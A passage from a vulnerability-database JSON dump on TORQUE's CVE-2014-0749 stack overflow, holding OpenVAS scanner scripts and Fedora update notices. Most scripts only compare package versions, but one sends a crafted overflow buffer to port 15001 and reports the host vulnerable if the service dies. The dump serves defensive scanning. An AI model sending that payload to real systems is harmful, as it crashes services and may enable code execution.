ver:\"2.4.16+dfsg-1+deb7u2\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\n\nif(report != \"\") {\n security_message(data:report);\n} else if(__pkg_match) {\n exit(99);\n}", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-05-29T18:37:13", "description": "John Fitzpatrick from MWR Labs reported a stack-based buffer overflow\nvulnerability in torque, a PBS-derived batch processing queueing system.\nAn unauthenticated remote attacker could exploit this flaw to execute\narbitrary code with root privileges.", "cvss3": {}, "published": "2014-05-23T00:00:00", "type": "openvas", "title": "Debian Security Advisory DSA 2936-1 (torque - security update)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2014-0749"], "modified": "2019-03-19T00:00:00", "id": "OPENVAS:1361412562310702936", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310702936", "sourceData": "# OpenVAS Vulnerability Test\n# $Id: deb_2936.nasl 14302 2019-03-19 08:28:48Z cfischer $\n# Auto-generated from advisory DSA 2936-1 using nvtgen 1.0\n# Script version: 1.0\n#\n# Author:\n# Greenbone Networks\n#\n# Copyright:\n# Copyright (c) 2014 Greenbone Networks GmbH http://greenbone.net\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (c) the respective author(s)\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n#\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.702936\");\n script_version(\"$Revision: 14302 $\");\n script_cve_id(\"CVE-2014-0749\");\n script_name(\"Debian Security Advisory DSA 2936-1 (torque - security update)\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-19 09:28:48 +0100 (Tue, 19 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2014-05-23 00:00:00 +0200 (Fri, 23 May 2014)\");\n script_tag(name:\"cvss_base\", value:\"10.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n\n script_xref(name:\"URL\", value:\"http://www.debian.org/security/2014/dsa-2936.html\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (c) 2014 Greenbone Networks GmbH http://greenbone.net\");\n script_family(\"Debian Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/debian_linux\", \"ssh/login/packages\", re:\"ssh/login/release=DEB(6|7)\");\n script_tag(name:\"affected\", value:\"torque on Debian Linux\");\n script_tag(name:\"solution\", value:\"For the oldstable distribution (squeeze), this problem has been fixed in\nversion 2.4.8+dfsg-9squeeze4.\n\nFor the stable distribution (wheezy), this problem has been fixed in\nversion 2.4.16+dfsg-1+deb7u3.\n\nFor the unstable distribution (sid), this problem has been fixed in\nversion 2.4.16+dfsg-1.4.\n\nWe recommend that you upgrade your torque packages.\");\n script_tag(name:\"summary\", value:\"John Fitzpatrick from MWR Labs reported a stack-based buffer overflow\nvulnerability in torque, a PBS-derived batch processing queueing system.\nAn unauthenticated remote attacker could exploit this flaw to execute\narbitrary code with root privileges.\");\n script_tag(name:\"vuldetect\", value:\"This check tests the installed software version using the apt package manager.\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-deb.inc\");\n\nres = \"\";\nreport = \"\";\nif((res = isdpkgvuln(pkg:\"libtorque2\", ver:\"2.4.8+dfsg-9squeeze4\", rls:\"DEB6\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"libtorque2-dev\", ver:\"2.4.8+dfsg-9squeeze4\", rls:\"DEB6\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-client\", ver:\"2.4.8+dfsg-9squeeze4\", rls:\"DEB6\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-client-x11\", ver:\"2.4.8+dfsg-9squeeze4\", rls:\"DEB6\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-common\", ver:\"2.4.8+dfsg-9squeeze4\", rls:\"DEB6\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-mom\", ver:\"2.4.8+dfsg-9squeeze4\", rls:\"DEB6\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-pam\", ver:\"2.4.8+dfsg-9squeeze4\", rls:\"DEB6\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-scheduler\", ver:\"2.4.8+dfsg-9squeeze4\", rls:\"DEB6\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-server\", ver:\"2.4.8+dfsg-9squeeze4\", rls:\"DEB6\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"libtorque2\", ver:\"2.4.16+dfsg-1+deb7u3\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"libtorque2-dev\", ver:\"2.4.16+dfsg-1+deb7u3\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-client\", ver:\"2.4.16+dfsg-1+deb7u3\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-client-x11\", ver:\"2.4.16+dfsg-1+deb7u3\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-common\", ver:\"2.4.16+dfsg-1+deb7u3\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-mom\", ver:\"2.4.16+dfsg-1+deb7u3\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-pam\", ver:\"2.4.16+dfsg-1+deb7u3\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-scheduler\", ver:\"2.4.16+dfsg-1+deb7u3\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"torque-server\", ver:\"2.4.16+dfsg-1+deb7u3\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\n\nif(report != \"\") {\n security_message(data:report);\n} else if(__pkg_match) {\n exit(99);\n}", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2017-08-04T10:48:49", "description": "John Fitzpatrick from MWR Labs reported a stack-based buffer overflow\nvulnerability in torque, a PBS-derived batch processing queueing system.\nAn unauthenticated remote attacker could exploit this flaw to execute\narbitrary code with root privileges.", "cvss3": {}, "published": "2014-05-23T00:00:00", "type": "openvas", "title": "Debian Security Advisory DSA 2936-1 (torque - security update)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2014-0749"], "modified": "2017-07-20T00:00:00", "id": "OPENVAS:702936", "href": "http://plugins.openvas.org/nasl.php?oid=702936", "sourceData": "# OpenVAS Vulnerability Test\n# $Id: deb_2936.nasl 6769 2017-07-20 09:56:33Z teissa $\n# Auto-generated from advisory DSA 2936-1 using nvtgen 1.0\n# Script version: 1.0\n#\n# Author:\n# Greenbone Networks\n#\n# Copyright:\n# Copyright (c) 2014 Greenbone Networks GmbH http://greenbone.net\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (c) the respective author(s)\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n#\n\ntag_affected = \"torque on Debian Linux\";\ntag_insight = \"The TORQUE server dispatches jobs across physically separated machines. It\nmay also be beneficial for single machines to organise the sequential execution\nof multiple jobs.\";\ntag_solution = \"For the oldstable distribution (squeeze), this problem has been fixed in\nversion 2.4.8+dfsg-9squeeze4.\n\nFor the stable distribution (wheezy), this problem has been fixed in\nversion 2.4.16+dfsg-1+deb7u3.\n\nFor the unstable distribution (sid), this problem has been fixed in\nversion 2.4.16+dfsg-1.4.\n\nWe recommend that you upgrade your torque packages.\";\ntag_summary = \"John Fitzpatrick from MWR Labs reported a stack-based buffer overflow\nvulnerability in torque, a PBS-derived batch processing queueing system.\nAn unauthenticated remote attacker could exploit this flaw to execute\narbitrary code with root privileges.\";\ntag_vuldetect = \"This check tests the installed software version using the apt package manager.\";\n\nif(description)\n{\n script_id(702936);\n script_version(\"$Revision: 6769 $\");\n script_cve_id(\"CVE-2014-0749\");\n script_name(\"Debian Security Advisory DSA 2936-1 (torque - security update)\");\n script_tag(name: \"last_modification\", value:\"$Date: 2017-07-20 11:56:33 +0200 (Thu, 20 Jul 2017) $\");\n script_tag(name: \"creation_date\", value:\"2014-05-23 00:00:00 +0200 (Fri, 23 May 2014)\");\n script_tag(name: \"cvss_base\", value:\"10.0\");\n script_tag(name: \"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n\n script_xref(name: \"URL\", value: \"http://www.debian.org/security/2014/dsa-2936.html\");\n\n\n script_category(ACT_GATHER_INFO);\n\n script_copyright(\"Copyright (c) 2014 Greenbone Networks GmbH http://greenbone.net\");\n script_family(\"Debian Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/debian_linux\", \"ssh/login/packages\");\n script_tag(name: \"affected\", value: tag_affected);\n script_tag(name: \"insight\", value: tag_insight);\n# script_tag(name: \"impact\", value: tag_impact);\n script_tag(name: \"solution\", value: tag_solution);\n script_tag(name: \"summary\", value: tag_summary);\n script_tag(name: \"vuldetect\", value: tag_vuldetect);\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-deb.inc\");\n\nres = \"\";\nreport = \"\";\nif ((res = isdpkgvuln(pkg:\"libtorque2\", ver:\"2.4.8+dfsg-9squeeze4\", rls:\"DEB6.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"libtorque2-dev\", ver:\"2.4.8+dfsg-9squeeze4\", rls:\"DEB6.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-client\", ver:\"2.4.8+dfsg-9squeeze4\", rls:\"DEB6.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-client-x11\", ver:\"2.4.8+dfsg-9squeeze4\", rls:\"DEB6.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-common\", ver:\"2.4.8+dfsg-9squeeze4\", rls:\"DEB6.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-mom\", ver:\"2.4.8+dfsg-9squeeze4\", rls:\"DEB6.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-pam\", ver:\"2.4.8+dfsg-9squeeze4\", rls:\"DEB6.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-scheduler\", ver:\"2.4.8+dfsg-9squeeze4\", rls:\"DEB6.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-server\", ver:\"2.4.8+dfsg-9squeeze4\", rls:\"DEB6.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"libtorque2\", ver:\"2.4.16+dfsg-1+deb7u3\", rls:\"DEB7.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"libtorque2-dev\", ver:\"2.4.16+dfsg-1+deb7u3\", rls:\"DEB7.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-client\", ver:\"2.4.16+dfsg-1+deb7u3\", rls:\"DEB7.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-client-x11\", ver:\"2.4.16+dfsg-1+deb7u3\", rls:\"DEB7.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-common\", ver:\"2.4.16+dfsg-1+deb7u3\", rls:\"DEB7.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-mom\", ver:\"2.4.16+dfsg-1+deb7u3\", rls:\"DEB7.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-pam\", ver:\"2.4.16+dfsg-1+deb7u3\", rls:\"DEB7.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-scheduler\", ver:\"2.4.16+dfsg-1+deb7u3\", rls:\"DEB7.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-server\", ver:\"2.4.16+dfsg-1+deb7u3\", rls:\"DEB7.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"libtorque2\", ver:\"2.4.16+dfsg-1+deb7u3\", rls:\"DEB7.1\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"libtorque2-dev\", ver:\"2.4.16+dfsg-1+deb7u3\", rls:\"DEB7.1\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-client\", ver:\"2.4.16+dfsg-1+deb7u3\", rls:\"DEB7.1\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-client-x11\", ver:\"2.4.16+dfsg-1+deb7u3\", rls:\"DEB7.1\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-common\", ver:\"2.4.16+dfsg-1+deb7u3\", rls:\"DEB7.1\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-mom\", ver:\"2.4.16+dfsg-1+deb7u3\", rls:\"DEB7.1\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-pam\", ver:\"2.4.16+dfsg-1+deb7u3\", rls:\"DEB7.1\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-scheduler\", ver:\"2.4.16+dfsg-1+deb7u3\", rls:\"DEB7.1\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-server\", ver:\"2.4.16+dfsg-1+deb7u3\", rls:\"DEB7.1\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"libtorque2\", ver:\"2.4.16+dfsg-1+deb7u3\", rls:\"DEB7.2\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"libtorque2-dev\", ver:\"2.4.16+dfsg-1+deb7u3\", rls:\"DEB7.2\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-client\", ver:\"2.4.16+dfsg-1+deb7u3\", rls:\"DEB7.2\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-client-x11\", ver:\"2.4.16+dfsg-1+deb7u3\", rls:\"DEB7.2\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-common\", ver:\"2.4.16+dfsg-1+deb7u3\", rls:\"DEB7.2\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-mom\", ver:\"2.4.16+dfsg-1+deb7u3\", rls:\"DEB7.2\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-pam\", ver:\"2.4.16+dfsg-1+deb7u3\", rls:\"DEB7.2\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-scheduler\", ver:\"2.4.16+dfsg-1+deb7u3\", rls:\"DEB7.2\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-server\", ver:\"2.4.16+dfsg-1+deb7u3\", rls:\"DEB7.2\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"libtorque2\", ver:\"2.4.16+dfsg-1+deb7u3\", rls:\"DEB7.3\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"libtorque2-dev\", ver:\"2.4.16+dfsg-1+deb7u3\", rls:\"DEB7.3\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-client\", ver:\"2.4.16+dfsg-1+deb7u3\", rls:\"DEB7.3\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-client-x11\", ver:\"2.4.16+dfsg-1+deb7u3\", rls:\"DEB7.3\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-common\", ver:\"2.4.16+dfsg-1+deb7u3\", rls:\"DEB7.3\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-mom\", ver:\"2.4.16+dfsg-1+deb7u3\", rls:\"DEB7.3\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-pam\", ver:\"2.4.16+dfsg-1+deb7u3\", rls:\"DEB7.3\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-scheduler\", ver:\"2.4.16+dfsg-1+deb7u3\", rls:\"DEB7.3\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"torque-server\", ver:\"2.4.16+dfsg-1+deb7u3\", rls:\"DEB7.3\")) != NULL) {\n report += res;\n}\n\nif (report != \"\") {\n security_message(data:report);\n} else if (__pkg_match) {\n exit(99); # Not vulnerable.\n}\n", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2020-07-21T21:59:22", "description": "This host is running TORQUE Resource Manager and is prone to stack buffer\n overflow vulnerability.", "cvss3": {}, "published": "2014-05-29T00:00:00", "type": "openvas", "title": "TORQUE Resource Manager Stack Buffer Overflow Vulnerability", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2014-0749"], "modified": "2020-07-16T00:00:00", "id": "OPENVAS:1361412562310804456", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310804456", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# TORQUE Resource Manager Stack Buffer Overflow Vulnerability\n#\n# Authors:\n# Antu Sanadi <santu@secpod.com>\n#\n# Copyright:\n# Copyright (c) 2014 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.804456\");\n script_version(\"2020-07-16T08:52:35+0000\");\n script_cve_id(\"CVE-2014-0749\");\n script_bugtraq_id(67420);\n script_tag(name:\"cvss_base\", value:\"10.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_tag(name:\"last_modification\", value:\"2020-07-16 08:52:35 +0000 (Thu, 16 Jul 2020)\");\n script_tag(name:\"creation_date\", value:\"2014-05-29 14:39:49 +0530 (Thu, 29 May 2014)\");\n script_name(\"TORQUE Resource Manager Stack Buffer Overflow Vulnerability\");\n script_category(ACT_DENIAL);\n script_copyright(\"Copyright (C) 2014 Greenbone Networks GmbH\");\n script_family(\"Buffer overflow\");\n script_dependencies(\"find_service.nasl\");\n script_require_ports(15001);\n\n script_xref(name:\"URL\", value:\"http://seclists.org/bugtraq/2014/May/75\");\n script_xref(name:\"URL\", value:\"http://packetstormsecurity.com/files/126651\");\n script_xref(name:\"URL\", value:\"https://labs.mwrinfosecurity.com/advisories/2014/05/14/torque-buffer-overflow/\");\n\n script_tag(name:\"summary\", value:\"This host is running TORQUE Resource Manager and is prone to stack buffer\n overflow vulnerability.\");\n\n script_tag(name:\"vuldetect\", value:\"Send crafted request and check is it vulnerable to DoS or not.\");\n\n script_tag(name:\"insight\", value:\"The flaw is due to a boundary error within the 'disrsi_()' function\n (src/lib/Libdis/disrsi_.c), which can be exploited to cause a stack-based buffer overflow.\");\n\n script_tag(name:\"impact\", value:\"Successful exploitation will allow remote attacker to execute arbitrary code\n and cause a denial of service.\");\n\n script_tag(name:\"affected\", value:\"TORQUE versions 2.5 through 2.5.13.\");\n\n script_tag(name:\"solution\", value:\"Upgrade to TORQUE 4.2 or later.\");\n\n script_tag(name:\"qod_type\", value:\"remote_vul\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n\n exit(0);\n}\n\nport = 15001;\nif(!get_port_state(port))\n exit(0);\n\nsoc = open_sock_tcp(port);\nif(!soc)\n exit(0);\n\nsend(socket:soc, data:\"--help\");\nres = recv(socket:soc, length:1024);\nclose(soc);\n\nif(!res || \"DIS based Request Protocol MSG=cannot decode message\" >!< res)\n exit(0);\n\nsoc = open_sock_tcp(port);\nif(!soc)\n exit(0);\n\nBadData = raw_string(0x33, 0x31, 0x34, 0x33, 0x31) +\n crap(data: raw_string(0x00), length: 135) +\n raw_string(0xc0, 0x18, 0x76, 0xf7, 0xff,\n 0x7f, 0x00, 0x00);\nsend(socket:soc, data:BadData);\nclose(soc);\n\nsleep(1);\n\nsoc = open_sock_tcp(port);\nif(!soc) {\n security_message(port:port);\n exit(0);\n}\n\nclose(soc);\nexit(99);\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "fedora": [{"lastseen": "2020-12-21T08:17:52", "description": "TORQUE (Tera-scale Open-source Resource and QUEue manager) is a resource manager providing control over batch jobs and distributed compute nodes. TORQUE is based on OpenPBS version 2.3.12 and incorporates scalability, fault tolerance, and feature extension patches provided by USC, NCSA, OSC, the U.S. Dept of Energy, Sandia, PNNL, U of Buffalo, TeraGrid, and many other leading edge HPC organizations. This package holds just a few shared files and directories. ", "cvss3": {}, "published": "2014-10-18T16:59:37", "type": "fedora", "title": "[SECURITY] Fedora 20 Update: torque-3.0.4-6.fc20", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2013-4319", "CVE-2013-4495"], "modified": "2014-10-18T16:59:37", "id": "FEDORA:B3AE960EE948", "href": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/thread/YR52BGTQI6L334FPWDPFQKJAXHQYKWFK/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-12-21T08:17:52", "description": "TORQUE (Tera-scale Open-source Resource and QUEue manager) is a resource manager providing control over batch jobs and distributed compute nodes. TORQUE is based on OpenPBS version 2.3.12 and incorporates scalability, fault tolerance, and feature extension patches provided by USC, NCSA, OSC, the U.S. Dept of Energy, Sandia, PNNL, U of Buffalo, TeraGrid, and many other leading edge HPC organizations. This package holds just a few shared files and directories. ", "cvss3": {}, "published": "2014-10-18T17:00:05", "type": "fedora", "title": "[SECURITY] Fedora 19 Update: torque-3.0.4-5.fc19", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2013-4319", "CVE-2013-4495"], "modified": "2014-10-18T17:00:05", "id": "FEDORA:9AE0360F33CC", "href": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/thread/5EQKWDO5OF5SXSFPMPZLUZEQWPJFPIFS/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-12-21T08:17:53", "description": "TORQUE (Tera-scale Open-source Resource and QUEue manager) is a resource manager providing control over batch jobs and distributed compute nodes. TORQUE is based on OpenPBS version 2.3.12 and incorporates scalability, fault tolerance, and feature extension patches provided by USC, NCSA, OSC, the U.S. Dept of Energy, Sandia, PNNL, U of Buffalo, TeraGrid, and many other leading edge HPC organizations. This package holds just a few shared files and directories. ", "cvss3": {}, "published": "2015-05-30T15:42:35", "type": "fedora", "title": "[SECURITY] Fedora 21 Update: torque-4.2.10-3.fc21", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2013-4319", "CVE-2013-4495", "CVE-2014-3684"], "modified": "2015-05-30T15:42:35", "id": "FEDORA:1CC4D625D8BB", "href": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/thread/22T2AZVWHIX2Z2DPPT324FX4JLUSS7YO/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-12-21T08:17:53", "description": "TORQUE (Tera-scale Open-source Resource and QUEue manager) is a resource manager providing control over batch jobs and distributed compute nodes. TORQUE is based on OpenPBS version 2.3.12 and incorporates scalability, fault tolerance, and feature extension patches provided by USC, NCSA, OSC, the U.S. Dept of Energy, Sandia, PNNL, U of Buffalo, TeraGrid, and many other leading edge HPC organizations. This package holds just a few shared files and directories. ", "cvss3": {}, "published": "2015-05-30T15:45:09", "type": "fedora", "title": "[SECURITY] Fedora 22 Update: torque-4.2.10-3.fc22", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2013-4319", "CVE-2013-4495", "CVE-2014-3684"], "modified": "2015-05-30T15:45:09", "id": "FEDORA:4C5B6625E4A0", "href": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/thread/JGXDACWNM4NXQWHHLSFV5W4BWUJIRXYS/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-12-21T08:17:53", "description": "TORQUE (Tera-scale Open-source Resource and QUEue manager) is a resource manager providing control over batch jobs and distributed compute nodes. TORQUE is based on OpenPBS version 2.3.12 and incorporates scalability, fault tolerance, and feature extension patches provided by USC, NCSA, OSC, the U.S. Dept of Energy, Sandia, PNNL, U of Buffalo, TeraGrid, and many other leading edge HPC organizations. This package holds just a few shared files and directories. ", "cvss3": {}, "published": "2015-05-30T15:54:27", "type": "fedora", "title": "[SECURITY] Fedora 20 Update: torque-4.2.10-3.fc20", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2013-4319", "CVE-2013-4495", "CVE-2014-3684"], "modified": "2015-05-30T15:54:27", "id": "FEDORA:1F9DD604B1B8", "href": 